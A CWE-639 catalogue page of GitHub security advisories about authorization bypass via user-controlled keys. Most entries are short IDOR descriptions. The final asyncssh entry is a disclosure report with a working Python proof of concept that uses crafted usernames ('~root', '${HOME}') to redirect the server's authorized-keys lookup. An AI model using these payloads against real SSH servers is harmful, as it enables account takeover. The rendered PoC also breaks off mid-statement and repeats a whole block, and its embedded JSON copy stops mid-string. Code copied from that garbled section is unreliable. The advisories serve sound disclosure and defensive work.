CWE-639
AllowedAuthorization Bypass Through User-Controlled Key
Abstraction: Base · Status: Incomplete
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.
5263 vulnerabilities reference this CWE, most recent first.
GHSA-QQMM-M936-J5V9
Vulnerability from github – Published: 2022-05-24 16:45 – Updated: 2024-04-04 00:28An issue was discovered in the Ascensia Contour NEXT ONE application for iOS and Android before 2019-01-15. An attacker may retrieve encrypted medical information of any user of the Ascensia cloud platform by performing Direct Object References with a series of user ID values. (This information can be decrypted through a different vulnerability.)
{
"affected": [],
"aliases": [
"CVE-2018-18976"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-05-06T20:29:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in the Ascensia Contour NEXT ONE application for iOS and Android before 2019-01-15. An attacker may retrieve encrypted medical information of any user of the Ascensia cloud platform by performing Direct Object References with a series of user ID values. (This information can be decrypted through a different vulnerability.)",
"id": "GHSA-qqmm-m936-j5v9",
"modified": "2024-04-04T00:28:42Z",
"published": "2022-05-24T16:45:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-18976"
},
{
"type": "WEB",
"url": "https://depthsecurity.com/blog/medical-exploitation-you-are-now-diabetic"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QQP4-W394-8P76
Vulnerability from github – Published: 2025-09-19 06:31 – Updated: 2025-09-19 06:31The Service Finder Bookings plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 6.0. This is due to the plugin not properly validating a user's identity prior to claiming a business when using the claim_business AJAX action. This makes it possible for unauthenticated attackers to login as any user including admins. Please note that subscriber privileges or brute-forcing are needed when completing the business takeover. The claim_id is needed to takeover the admin account, but brute-forcing is a practical approach to obtaining valid IDs.
{
"affected": [],
"aliases": [
"CVE-2025-5948"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-19T06:15:35Z",
"severity": "CRITICAL"
},
"details": "The Service Finder Bookings plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 6.0. This is due to the plugin not properly validating a user\u0027s identity prior to claiming a business when using the claim_business AJAX action. This makes it possible for unauthenticated attackers to login as any user including admins. Please note that subscriber privileges or brute-forcing are needed when completing the business takeover. The claim_id is needed to takeover the admin account, but brute-forcing is a practical approach to obtaining valid IDs.",
"id": "GHSA-qqp4-w394-8p76",
"modified": "2025-09-19T06:31:22Z",
"published": "2025-09-19T06:31:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5948"
},
{
"type": "WEB",
"url": "https://themeforest.net/item/service-finder-service-and-business-listing-wordpress-theme/15208793"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7eb018bc-2650-4e0d-8da9-325eac826d45?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QQQ4-M483-FM7P
Vulnerability from github – Published: 2026-07-29 09:31 – Updated: 2026-07-29 09:31A business logic vulnerability in Koollab LMS allowed an authenticated learner to set their lesson completion status to completed via the SCORM commit endpoint without viewing the lesson material, compromising training and completion records.
{
"affected": [],
"aliases": [
"CVE-2026-63242"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-29T07:16:43Z",
"severity": "MODERATE"
},
"details": "A business logic vulnerability in Koollab LMS\nallowed an\nauthenticated learner to set their lesson completion status to completed via\nthe SCORM commit endpoint without viewing the lesson material, compromising\ntraining and completion records.",
"id": "GHSA-qqq4-m483-fm7p",
"modified": "2026-07-29T09:31:28Z",
"published": "2026-07-29T09:31:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63242"
},
{
"type": "WEB",
"url": "https://www.csa.gov.sg/alerts-and-advisories/alerts/al-2026-094"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QQVG-V89G-FP38
Vulnerability from github – Published: 2026-09-25 09:31 – Updated: 2026-09-25 09:31The Bookly WordPress plugin before 28.3 does not properly verify a customer's identity before updating their stored details, allowing unauthenticated attackers who know a customer's primary identifier to overwrite that customer's stored personal information such as name, email and address.
{
"affected": [],
"aliases": [
"CVE-2026-86837"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-25T09:17:06Z",
"severity": "MODERATE"
},
"details": "The Bookly WordPress plugin before 28.3 does not properly verify a customer\u0027s identity before updating their stored details, allowing unauthenticated attackers who know a customer\u0027s primary identifier to overwrite that customer\u0027s stored personal information such as name, email and address.",
"id": "GHSA-qqvg-v89g-fp38",
"modified": "2026-09-25T09:31:09Z",
"published": "2026-09-25T09:31:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86837"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/5bfed7cf-5bf3-4a3b-a2b6-9f9d48f52fd5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QQX4-CCM8-48MC
Vulnerability from github – Published: 2026-02-19 18:31 – Updated: 2026-02-19 18:31The Breadcrumb NavXT plugin for WordPress is vulnerable to authorization bypass through user-controlled key in versions up to and including 7.5.0. This is due to the Gutenberg block renderer trusting the $_REQUEST['post_id'] parameter without verification in the includes/blocks/build/breadcrumb-trail/render.php file. This makes it possible for unauthenticated attackers to enumerate and view breadcrumb trails for draft or private posts by manipulating the post_id parameter, revealing post titles and hierarchy that should remain hidden.
{
"affected": [],
"aliases": [
"CVE-2025-13842"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-19T07:17:33Z",
"severity": "MODERATE"
},
"details": "The Breadcrumb NavXT plugin for WordPress is vulnerable to authorization bypass through user-controlled key in versions up to and including 7.5.0. This is due to the Gutenberg block renderer trusting the $_REQUEST[\u0027post_id\u0027] parameter without verification in the includes/blocks/build/breadcrumb-trail/render.php file. This makes it possible for unauthenticated attackers to enumerate and view breadcrumb trails for draft or private posts by manipulating the post_id parameter, revealing post titles and hierarchy that should remain hidden.",
"id": "GHSA-qqx4-ccm8-48mc",
"modified": "2026-02-19T18:31:49Z",
"published": "2026-02-19T18:31:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13842"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/breadcrumb-navxt/trunk/includes/blocks/build/breadcrumb-trail/render.php#L17"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3425008"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/62e25985-ac19-41a5-8027-eb053f4a6490?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QR34-VP25-PG2X
Vulnerability from github – Published: 2024-03-13 18:31 – Updated: 2024-03-13 18:31The User Shortcodes Plus plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.0.2 via the user_meta shortcode due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with contributor-level access and above, to retrieve potentially sensitive user meta.
{
"affected": [],
"aliases": [
"CVE-2023-6969"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-13T16:15:09Z",
"severity": "MODERATE"
},
"details": "The User Shortcodes Plus plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.0.2 via the user_meta shortcode due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with contributor-level access and above, to retrieve potentially sensitive user meta.",
"id": "GHSA-qr34-vp25-pg2x",
"modified": "2024-03-13T18:31:31Z",
"published": "2024-03-13T18:31:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6969"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/user-shortcodes-plus/trunk/includes/Shortcodes/UserMeta.php"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/76a0a87a-dff0-4a51-bad0-8868c342ecde?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QR67-GV47-XWWH
Vulnerability from github – Published: 2026-08-26 15:32 – Updated: 2026-08-26 15:32Incomplete fix for CVE-2026-45309 (GHSA-g794-3fmp-753h). The
2.23.0 guard that sanitises the SSH username before %u substitution
in AuthorizedKeysFile blocks /, \ and .., but does not block a
leading ~ (or ${ENV}), both of which are re-introduced by later
expansion and reach the file open — defeating the guard.
Affected: asyncssh 2.23.0 and current develop (commit a60f863,
HEAD on 2026-05-29).
## Summary
The fix for CVE-2026-45309 added a guard in
SSHServerConfig._set_tokens (asyncssh/config.py:715-716) that
rejects an SSH username containing /, \, or equal to .., before
it is substituted for the %u token in AuthorizedKeysFile:
if self._user == '..' or '/' in self._user or '\\' in self._user:
raise IllegalUserName('Unsafe username substitution')
However, the %u-substituted value is subsequently passed through
environment-variable expansion (_expand_val, config.py:145-149 —
token expansion then env expansion) and, at file-open time, through
expanduser() (read_authorized_keys → read_file →
open(Path(filename).expanduser()), auth_keys.py:348 →
misc.py:290). Both re-introduce the path control the guard was meant
to remove, so a username that contains no //\ can still cause the
server to read an authorized-keys file outside the intended per-user
directory.
The client-supplied username reaches this path pre-authentication:
_process_userauth_request takes the username from the
SSH_MSG_USERAUTH_REQUEST packet (connection.py:2516-2519) and
_finish_userauth calls reload_config() (connection.py:2536),
which re-evaluates AuthorizedKeysFile with username=self._username
(connection.py:5906) before the offered key is validated.
## Primary vector — leading ~
A username such as ~root or ~victim passes the guard (no /). For
a server whose AuthorizedKeysFile begins with %u — e.g.
AuthorizedKeysFile %u/.ssh/authorized_keys — the expanded value is
~victim/.ssh/authorized_keys, which expanduser() resolves to
/home/victim/.ssh/authorized_keys (~root → /root/...; a bare ~
→ the server process's home). The username has therefore escaped the
intended per-user location without using any path separator —
defeating the purpose of the guard.
Note: expanduser() only expands a leading ~, so this vector
requires %u to be the first path component of AuthorizedKeysFile.
(The CVE-2026-45309 authorized_keys/%u example — %u not leading —
is not reachable this way; that was the ../ form.)
## Impact and limitations
- Demonstrated (verified against source at a60f863): the guard is
bypassable and the authorized-keys lookup is redirected to an
attacker-named home tree, pre-auth, with a separator-free username.
- Impact model = identical to CVE-2026-45309: authenticating as the
redirected username when a readable authorized-keys file containing
the attacker's key is reachable at the redirected location. The parent
CVE accepted this exact precondition and was scored C:N/I:H/A:N;
this is scored consistently.
- Not built: a live multi-account SSH auth harness; the PoC verifies
the path-redirection mechanism in-process, deterministically. No new
primitive is claimed beyond the parent CVE's accepted model — only
that the 2.23.0 fix does not close it for ~/${ENV}.
- Preconditions (captured by AC:H): %u must be the leading path
component; on Python 3.13, Path('~nonexistentuser').expanduser()
raises RuntimeError, so only existing accounts are reachable
(confirmed: asyncssh 2.23.0, Python 3.13.12).
## Secondary vector — ${ENV} (defense-in-depth only)
A username like ${HOME} also passes the guard and is then
environment-expanded, re-introducing /. Weaker and not a practical
exploit: the attacker can only reference env vars that already exist
in the server process (a missing variable raises ConfigParseError)
and cannot control their values. Reported as hardening.
## Reproduction In-process, deterministic, no network. Against a checkout of asyncssh 2.23.0:
cd /path/to/asyncssh
PYTHONPATH=/path/to/asyncssh python3 poc_authkeys_token_bypass.py
Output (abridged):
[1] original CVE '../../../../tmp/evil' blocked: True (fix present)
literal-slash user '/etc' blocked: True
[A] tilde bypass user '~root':
guard blocks it? False (False == bypass)
expanded config value : ['~root/.ssh/authorized_keys']
after expanduser() : /root/.ssh/authorized_keys <-- read as authorized_keys
VERDICT: guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)
## Suggested fix
Tighten _set_tokens to also reject usernames that re-introduce path
control after expansion — reject a leading ~ / ~user and $/${
references in self._user. More robustly, validate that the FINAL
expanded AuthorizedKeysFile path remains within the intended base
directory, and/or suppress expanduser/environment expansion on the
%u-derived component specifically.
## Disclosure
Coordinated, ~90-day default. I will not publish details/PoC before a
fix is released, and am happy to validate the patch. Credit (if given)
to cesabici-bit.
## PoC source (see code block below)
#!/usr/bin/env python3
"""
PoC: incomplete fix for CVE-2026-45309 (AsyncSSH AuthorizedKeysFile %u path
control). Local-only, in-process, deterministic. No network.
CVE-2026-45309 (fixed in v2.23.0, commit 2af2382) added a blocklist in
SSHServerConfig._set_tokens that rejects a client username containing
'/', '\\', or equal to '..' before it is substituted for the %u token in
the server's AuthorizedKeysFile directive.
This PoC shows the blocklist is bypassable: the %u value is afterwards run
through (1) ${ENV} expansion and (2) ~ expanduser(), both of which
re-introduce the path control the guard was meant to remove.
CAVEAT (triage 2026-05-29): the PRIMARY vector is (2) ~ expanduser() — it lets
a separator-free username (e.g. '~root') escape to another home tree when %u
is the LEADING path component. Vector (1) ${ENV} is WEAK: a real attacker can
only REFERENCE env vars that already exist on the server and cannot control
their VALUES; the ${ASYNCSSH_POC_VAR} demo below sets the var itself purely to
illustrate the expansion, and does NOT represent attacker capability. Treat (1)
as defense-in-depth, (2) as the load-bearing finding. See NOTES.md / REPORT.md.
Run from a checkout of asyncssh (cwd on sys.path), e.g.:
cd /tmp/targets/asyncssh && python3 <thisfile>
"""
import os
import sys
import tempfile
from pathlib import Path
import asyncssh
from asyncssh.config import SSHServerConfig
try:
from asyncssh.misc import IllegalUserName
except Exception: # pragma: no cover
IllegalUserName = asyncssh.IllegalUserName
def expand_authkeys(user, cfg_text):
"""Load a server config exactly as SSHServerConnection does and return the
expanded AuthorizedKeysFile value (a list). Raises IllegalUserName if the
CVE-2026-45309 guard fires."""
with tempfile.NamedTemporaryFile("w", suffix=".conf", delete=False) as f:
f.write(cfg_text)
cfg_path = f.name
try:
# mirror connection.py:8897
# SSHServerConfig.load(last_config, config, reload, canonical, final,
# accept_addr, accept_port, username,
# client_host, client_addr)
cfg = SSHServerConfig.load(
None, cfg_path, True, False, False,
"127.0.0.1", 22, user, "client.example", "203.0.113.7",
)
return cfg.get("AuthorizedKeysFile")
finally:
os.unlink(cfg_path)
def guard_blocks(user, cfg_text):
"""Return True if the CVE-2026-45309 guard rejects this username."""
try:
expand_authkeys(user, cfg_text)
return False
except IllegalUserName:
return True
def main():
print(f"# asyncssh {asyncssh.__version__} ({asyncssh.__file__})")
print(f"# python {sys.version.split()[0]}\n")
results = []
# ---- Sanity 0: benign username expands normally -----------------------
cfg = "AuthorizedKeysFile /etc/ssh/authorized_keys.d/%u"
val = expand_authkeys("alice", cfg)
print(f"[0] benign user 'alice': {val}")
results.append(("benign expands to per-user path",
val == ["/etc/ssh/authorized_keys.d/alice"]))
# ---- Sanity 1: original CVE-2026-45309 is blocked ---------------------
blocked = guard_blocks("../../../../tmp/evil", cfg)
print(f"[1] original CVE '../../../../tmp/evil' blocked: {blocked}")
results.append(("original CVE traversal is blocked (fix present)", blocked))
# also: a literal slash is blocked (the guard's whole purpose)
slash_blocked = guard_blocks("/etc", cfg)
print(f" literal-slash user '/etc' blocked: {slash_blocked}")
results.append(("literal-slash username is blocked", slash_blocked))
print()
# ---- BYPASS A: ~ tilde survives the guard, reaches expanduser() -------
cfg_a = "AuthorizedKeysFile %u/.ssh/authorized_keys"
blocked_a = guard_blocks("~root", cfg_a)
val_a = expand_authkeys("~root", cfg_a)
resolved_a = str(Path(val_a[0]).expanduser()) # what read_file()/open_file() does
print(f"[A] tilde bypass user '~root':")
print(f" guard blocks it? {blocked_a} (False == bypass)")
print(f" expanded config value : {val_a}")
print(f" after expanduser() : {resolved_a} <-- read as authorized_keys")
results.append(("A: ~user NOT blocked by guard", not blocked_a))
results.append(("A: expanduser() redirects to another home tree",
resolved_a.startswith("/root/") or "~" not in resolved_a))
print()
# ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------
# The username contains no '/','\\' and is not '..', so the guard passes.
# Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a
# server value that DOES contain '/', defeating the separator filter.
cfg_b = "AuthorizedKeysFile %u"
os.environ.setdefault("HOME", "/root")
blocked_b = guard_blocks("${HOME}", cfg_b)
val_b = expand_authkeys("${HOME}", cfg_b)
print(f"[B] env bypass user '${{HOME}}':")
print(f" guard blocks it? {blocked_b} (False == bypass)")
print(f" expanded config value : {val_b} (HOME={os.environ['HOME']})")
sep_injected = any("/" in p for p in val_b)
print(f" contains '/' after guard? {sep_injected} <-- separator filter bypassed")
results.append(("B: ${ENV} username NOT blocked by guard", not blocked_b))
results.append(("B: ${ENV} re-introduces '/' the guard rejected literally",
sep_injected))
# demonstrate arbitrary '/'-containing absolute path via a referenced var
os.environ["ASYNCSSH_POC_VAR"] = "/tmp/asyncssh_poc/INJECTED/authorized_keys"
val_b2 = expand_authkeys("${ASYNCSSH_POC_VAR}", cfg_b)
print(f" via referenced env var: {val_b2}")
results.append(("B: env value yields absolute '/'-path post-guard",
val_b2 == ["/tmp/asyncssh_poc/INJECTED/authorized_keys"]))
# ---- verdict ----------------------------------------------------------
print("\n==== RESULTS ====")
ok = True
for name, passed in results:
print(f" [{'PASS' if passed else 'FAIL'}] {name}")
ok = ok and passed
print("\nVERDICT:",
print()
# ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------
# The username contains no '/','\\' and is not '..', so the guard passes.
# Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a
# server value that DOES contain '/', defeating the separator filter.
cfg_b = "AuthorizedKeysFile %u"
os.environ.setdefault("HOME", "/root")
blocked_b = guard_blocks("${HOME}", cfg_b)
val_b = expand_authkeys("${HOME}", cfg_b)
print(f"[B] env bypass user '${{HOME}}':")
print(f" guard blocks it? {blocked_b} (False == bypass)")
print(f" expanded config value : {val_b} (HOME={os.environ['HOME']})")
sep_injected = any("/" in p for p in val_b)
print(f" contains '/' after guard? {sep_injected} <-- separator filter bypassed")
results.append(("B: ${ENV} username NOT blocked by guard", not blocked_b))
results.append(("B: ${ENV} re-introduces '/' the guard rejected literally",
sep_injected))
# demonstrate arbitrary '/'-containing absolute path via a referenced var
os.environ["ASYNCSSH_POC_VAR"] = "/tmp/asyncssh_poc/INJECTED/authorized_keys"
val_b2 = expand_authkeys("${ASYNCSSH_POC_VAR}", cfg_b)
print(f" via referenced env var: {val_b2}")
results.append(("B: env value yields absolute '/'-path post-guard",
val_b2 == ["/tmp/asyncssh_poc/INJECTED/authorized_keys"]))
# ---- verdict ----------------------------------------------------------
print("\n==== RESULTS ====")
ok = True
for name, passed in results:
print(f" [{'PASS' if passed else 'FAIL'}] {name}")
ok = ok and passed
print("\nVERDICT:",
"guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)"
if ok else "one or more checks did not hold")
return 0 if ok else 1
if __name__ == "__main__":
sys.exit(main())
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.23.0"
},
"package": {
"ecosystem": "PyPI",
"name": "asyncssh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.23.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54590"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-26T15:32:00Z",
"nvd_published_at": "2026-07-08T21:16:49Z",
"severity": "MODERATE"
},
"details": "**Incomplete fix for CVE-2026-45309 (GHSA-g794-3fmp-753h).** The\n 2.23.0 guard that sanitises the SSH username before `%u` substitution\n in `AuthorizedKeysFile` blocks `/`, `\\` and `..`, but does not block a\n leading `~` (or `${ENV}`), both of which are re-introduced by later\n expansion and reach the file open \u2014 defeating the guard.\n\n **Affected:** asyncssh 2.23.0 and current `develop` (commit `a60f863`,\n HEAD on 2026-05-29).\n\n ## Summary\n The fix for CVE-2026-45309 added a guard in\n `SSHServerConfig._set_tokens` (`asyncssh/config.py:715-716`) that\n rejects an SSH username containing `/`, `\\`, or equal to `..`, before\n it is substituted for the `%u` token in `AuthorizedKeysFile`:\n\n if self._user == \u0027..\u0027 or \u0027/\u0027 in self._user or \u0027\\\\\u0027 in self._user:\n raise IllegalUserName(\u0027Unsafe username substitution\u0027)\n\n However, the `%u`-substituted value is subsequently passed through\n environment-variable expansion (`_expand_val`, `config.py:145-149` \u2014\n token expansion then env expansion) and, at file-open time, through\n `expanduser()` (`read_authorized_keys` \u2192 `read_file` \u2192\n `open(Path(filename).expanduser())`, `auth_keys.py:348` \u2192\n `misc.py:290`). Both re-introduce the path control the guard was meant\n to remove, so a username that contains no `/`/`\\` can still cause the\n server to read an authorized-keys file outside the intended per-user\n directory.\n\n The client-supplied username reaches this path pre-authentication:\n `_process_userauth_request` takes the username from the\n `SSH_MSG_USERAUTH_REQUEST` packet (`connection.py:2516-2519`) and\n `_finish_userauth` calls `reload_config()` (`connection.py:2536`),\n which re-evaluates `AuthorizedKeysFile` with `username=self._username`\n (`connection.py:5906`) before the offered key is validated.\n\n ## Primary vector \u2014 leading `~`\n A username such as `~root` or `~victim` passes the guard (no `/`). For\n a server whose `AuthorizedKeysFile` begins with `%u` \u2014 e.g.\n `AuthorizedKeysFile %u/.ssh/authorized_keys` \u2014 the expanded value is\n `~victim/.ssh/authorized_keys`, which `expanduser()` resolves to\n `/home/victim/.ssh/authorized_keys` (`~root` \u2192 `/root/...`; a bare `~`\n \u2192 the server process\u0027s home). The username has therefore escaped the\n intended per-user location without using any path separator \u2014\n defeating the purpose of the guard.\n\n Note: `expanduser()` only expands a leading `~`, so this vector\n requires `%u` to be the first path component of `AuthorizedKeysFile`.\n (The CVE-2026-45309 `authorized_keys/%u` example \u2014 `%u` not leading \u2014\n is not reachable this way; that was the `../` form.)\n\n ## Impact and limitations\n - Demonstrated (verified against source at `a60f863`): the guard is\n bypassable and the authorized-keys lookup is redirected to an\n attacker-named home tree, pre-auth, with a separator-free username.\n - Impact model = identical to CVE-2026-45309: authenticating as the\n redirected username when a readable authorized-keys file containing\n the attacker\u0027s key is reachable at the redirected location. The parent\n CVE accepted this exact precondition and was scored `C:N/I:H/A:N`;\n this is scored consistently.\n - Not built: a live multi-account SSH auth harness; the PoC verifies\n the path-redirection mechanism in-process, deterministically. No new\n primitive is claimed beyond the parent CVE\u0027s accepted model \u2014 only\n that the 2.23.0 fix does not close it for `~`/`${ENV}`.\n - Preconditions (captured by AC:H): `%u` must be the leading path\n component; on Python 3.13, `Path(\u0027~nonexistentuser\u0027).expanduser()`\n raises `RuntimeError`, so only existing accounts are reachable\n (confirmed: asyncssh 2.23.0, Python 3.13.12).\n\n ## Secondary vector \u2014 `${ENV}` (defense-in-depth only)\n A username like `${HOME}` also passes the guard and is then\n environment-expanded, re-introducing `/`. Weaker and not a practical\n exploit: the attacker can only reference env vars that already exist\n in the server process (a missing variable raises `ConfigParseError`)\n and cannot control their values. Reported as hardening.\n\n ## Reproduction\n In-process, deterministic, no network. Against a checkout of asyncssh\n 2.23.0:\n\n cd /path/to/asyncssh\n PYTHONPATH=/path/to/asyncssh python3 poc_authkeys_token_bypass.py\n\n Output (abridged):\n\n [1] original CVE \u0027../../../../tmp/evil\u0027 blocked: True (fix present)\n literal-slash user \u0027/etc\u0027 blocked: True\n [A] tilde bypass user \u0027~root\u0027:\n guard blocks it? False (False == bypass)\n expanded config value : [\u0027~root/.ssh/authorized_keys\u0027]\n after expanduser() : /root/.ssh/authorized_keys \u003c-- read as authorized_keys\n VERDICT: guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)\n\n ## Suggested fix\n Tighten `_set_tokens` to also reject usernames that re-introduce path\n control after expansion \u2014 reject a leading `~` / `~user` and `$`/`${`\n references in `self._user`. More robustly, validate that the FINAL\n expanded `AuthorizedKeysFile` path remains within the intended base\n directory, and/or suppress `expanduser`/environment expansion on the\n `%u`-derived component specifically.\n\n ## Disclosure\n Coordinated, ~90-day default. I will not publish details/PoC before a\n fix is released, and am happy to validate the patch. Credit (if given)\n to `cesabici-bit`.\n\n ## PoC source\n (see code block below)\n\n```python\n #!/usr/bin/env python3\n \"\"\"\n PoC: incomplete fix for CVE-2026-45309 (AsyncSSH AuthorizedKeysFile %u path\n control). Local-only, in-process, deterministic. No network.\n\n CVE-2026-45309 (fixed in v2.23.0, commit 2af2382) added a blocklist in\n SSHServerConfig._set_tokens that rejects a client username containing\n \u0027/\u0027, \u0027\\\\\u0027, or equal to \u0027..\u0027 before it is substituted for the %u token in\n the server\u0027s AuthorizedKeysFile directive.\n\n This PoC shows the blocklist is bypassable: the %u value is afterwards run\n through (1) ${ENV} expansion and (2) ~ expanduser(), both of which\n re-introduce the path control the guard was meant to remove.\n\n CAVEAT (triage 2026-05-29): the PRIMARY vector is (2) ~ expanduser() \u2014 it lets\n a separator-free username (e.g. \u0027~root\u0027) escape to another home tree when %u\n is the LEADING path component. Vector (1) ${ENV} is WEAK: a real attacker can\n only REFERENCE env vars that already exist on the server and cannot control\n their VALUES; the ${ASYNCSSH_POC_VAR} demo below sets the var itself purely to\n illustrate the expansion, and does NOT represent attacker capability. Treat (1)\n as defense-in-depth, (2) as the load-bearing finding. See NOTES.md / REPORT.md.\n\n Run from a checkout of asyncssh (cwd on sys.path), e.g.:\n cd /tmp/targets/asyncssh \u0026\u0026 python3 \u003cthisfile\u003e\n \"\"\"\n\n import os\n import sys\n import tempfile\n from pathlib import Path\n\n import asyncssh\n from asyncssh.config import SSHServerConfig\n\n try:\n from asyncssh.misc import IllegalUserName\n except Exception: # pragma: no cover\n IllegalUserName = asyncssh.IllegalUserName\n\n\n def expand_authkeys(user, cfg_text):\n \"\"\"Load a server config exactly as SSHServerConnection does and return the\n expanded AuthorizedKeysFile value (a list). Raises IllegalUserName if the\n CVE-2026-45309 guard fires.\"\"\"\n with tempfile.NamedTemporaryFile(\"w\", suffix=\".conf\", delete=False) as f:\n f.write(cfg_text)\n cfg_path = f.name\n try:\n # mirror connection.py:8897\n # SSHServerConfig.load(last_config, config, reload, canonical, final,\n # accept_addr, accept_port, username,\n # client_host, client_addr)\n cfg = SSHServerConfig.load(\n None, cfg_path, True, False, False,\n \"127.0.0.1\", 22, user, \"client.example\", \"203.0.113.7\",\n )\n return cfg.get(\"AuthorizedKeysFile\")\n finally:\n os.unlink(cfg_path)\n\n\n def guard_blocks(user, cfg_text):\n \"\"\"Return True if the CVE-2026-45309 guard rejects this username.\"\"\"\n try:\n expand_authkeys(user, cfg_text)\n return False\n except IllegalUserName:\n return True\n\n\n def main():\n print(f\"# asyncssh {asyncssh.__version__} ({asyncssh.__file__})\")\n print(f\"# python {sys.version.split()[0]}\\n\")\n\n results = []\n\n # ---- Sanity 0: benign username expands normally -----------------------\n cfg = \"AuthorizedKeysFile /etc/ssh/authorized_keys.d/%u\"\n val = expand_authkeys(\"alice\", cfg)\n print(f\"[0] benign user \u0027alice\u0027: {val}\")\n results.append((\"benign expands to per-user path\",\n val == [\"/etc/ssh/authorized_keys.d/alice\"]))\n\n # ---- Sanity 1: original CVE-2026-45309 is blocked ---------------------\n blocked = guard_blocks(\"../../../../tmp/evil\", cfg)\n print(f\"[1] original CVE \u0027../../../../tmp/evil\u0027 blocked: {blocked}\")\n results.append((\"original CVE traversal is blocked (fix present)\", blocked))\n\n # also: a literal slash is blocked (the guard\u0027s whole purpose)\n slash_blocked = guard_blocks(\"/etc\", cfg)\n print(f\" literal-slash user \u0027/etc\u0027 blocked: {slash_blocked}\")\n results.append((\"literal-slash username is blocked\", slash_blocked))\n\n print()\n\n # ---- BYPASS A: ~ tilde survives the guard, reaches expanduser() -------\n cfg_a = \"AuthorizedKeysFile %u/.ssh/authorized_keys\"\n blocked_a = guard_blocks(\"~root\", cfg_a)\n val_a = expand_authkeys(\"~root\", cfg_a)\n resolved_a = str(Path(val_a[0]).expanduser()) # what read_file()/open_file() does\n print(f\"[A] tilde bypass user \u0027~root\u0027:\")\n print(f\" guard blocks it? {blocked_a} (False == bypass)\")\n print(f\" expanded config value : {val_a}\")\n print(f\" after expanduser() : {resolved_a} \u003c-- read as authorized_keys\")\n results.append((\"A: ~user NOT blocked by guard\", not blocked_a))\n results.append((\"A: expanduser() redirects to another home tree\",\n resolved_a.startswith(\"/root/\") or \"~\" not in resolved_a))\n\n print()\n\n # ---- BYPASS B: ${ENV} survives the guard, re-introduces \u0027/\u0027 -----------\n # The username contains no \u0027/\u0027,\u0027\\\\\u0027 and is not \u0027..\u0027, so the guard passes.\n # Token expansion makes %u -\u003e \u0027${HOME}\u0027, then ENV expansion substitutes a\n # server value that DOES contain \u0027/\u0027, defeating the separator filter.\n cfg_b = \"AuthorizedKeysFile %u\"\n os.environ.setdefault(\"HOME\", \"/root\")\n blocked_b = guard_blocks(\"${HOME}\", 